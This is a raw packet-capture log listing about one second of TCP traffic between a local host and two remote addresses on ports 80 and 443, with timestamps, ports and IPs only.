Nov 18, 2024 23:04:13.898240089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898243904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898252964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898267984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898283958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898298979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898309946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898314953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898330927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898333073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898346901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898361921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898372889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898379087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898389101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898394108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898411036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898423910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898437977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898439884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898456097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898471117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898487091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898493052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898499966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898510933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898515940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898546934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898564100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898569107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898585081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898598909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898616076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898631096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898636103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898649931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898674011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898689032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898689985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898706913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898720980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898720980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898771048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898808956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.899548054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899609089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.899641991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899657965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899710894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.899832010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899847984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899872065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899887085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899902105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899907112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.899918079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899926901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.899934053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899950027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.899964094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.900011063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.900615931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900631905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900648117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900662899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900676966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900680065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.900691986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900706053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900716066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.900722027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900738955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900748014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.900763988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.900767088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.900788069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.900840998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.901181936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.901199102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.901212931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.901227951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.901242018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.901257038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.901304007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.914166927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.914191961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.914206028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.914237976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.914275885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.914333105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.914397001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.914762974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.914819002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.914824963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.914834976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.914891958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.914973021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.914988995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.915028095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.915055037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.916769028 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.917304039 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.917320967 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.917702913 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.917707920 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.917947054 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.918147087 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.918303013 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.918303013 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.918303013 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.921076059 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.921164989 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.921257973 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.921442986 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.921478033 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.940711021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.940766096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.940782070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.940906048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.941235065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.941251040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.941420078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.977118969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977152109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977170944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977185965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977201939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977217913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977236032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977247953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.977288008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.977288008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.977440119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977457047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977473021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977488995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977504969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977523088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.977556944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.977895021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977910995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977927923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977942944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977960110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977971077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.977981091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.977989912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.978012085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.978044033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.978298903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.978322983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.978338957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.978353977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.978355885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.978372097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.978374004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.978393078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.978440046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.995688915 CET	443	49824	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.999324083 CET	49824	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.999357939 CET	443	49824	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.999893904 CET	49824	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.999912977 CET	443	49824	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.014897108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.014969110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.014983892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015068054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.015108109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015124083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015140057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015156031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015178919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.015214920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.015414953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015430927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015445948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015460968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015475988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015492916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.015522003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.015552044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.015865088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015881062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015897036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015912056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015934944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.015938997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.015961885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.016004086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.016336918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016352892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016366959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016390085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016401052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.016403913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016419888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016433954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016448975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016453028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.016464949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016479015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.016480923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016498089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.016498089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.016537905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.016566038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.018937111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.018951893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.018965960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019015074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019045115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019058943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019074917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019088984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019104004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019113064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019119978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019134045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019153118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019166946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019181967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019182920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019197941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019202948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019213915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019227982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019238949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019243002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019258976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019282103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019296885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019309044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019309044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019321918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019337893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019352913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019356966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019367933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019378901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019383907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019399881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019411087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019417048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019432068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019433022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019448996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019464016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019469023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019479990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019495010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019503117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019510031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019525051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019536972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019540071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019555092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019556999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019570112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019583941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019586086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019603968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019644022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.019906044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019922018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.019975901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.020015955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020031929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020054102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020065069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.020070076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020086050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020100117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.020102024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020117044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020140886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020148039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.020148039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.020154953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020196915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.020226002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.020874977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020889997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020904064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020919085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020934105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.020975113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.021008968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.021008968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.034188032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.034270048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.034334898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.034349918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.034395933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.034426928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.034858942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.034873009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.034888029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.034912109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.034940004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.035394907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.035410881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.035427094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.035442114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.035455942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.035455942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.035481930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.035506010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.052788973 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.052942038 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.053165913 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.053205013 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.053225994 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.053241014 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.053246975 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.056225061 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.056277037 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.056355000 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.056521893 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.056535959 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.057699919 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.058111906 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.058188915 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.058506012 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.058521032 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.064364910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.064443111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.064529896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.064590931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.064706087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.064759970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.064980984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.064996958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.065041065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.097076893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.097105026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.097120047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.097290039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.097305059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.097304106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.097304106 CET	49794	80	192.168.2.4	31.41.244.11
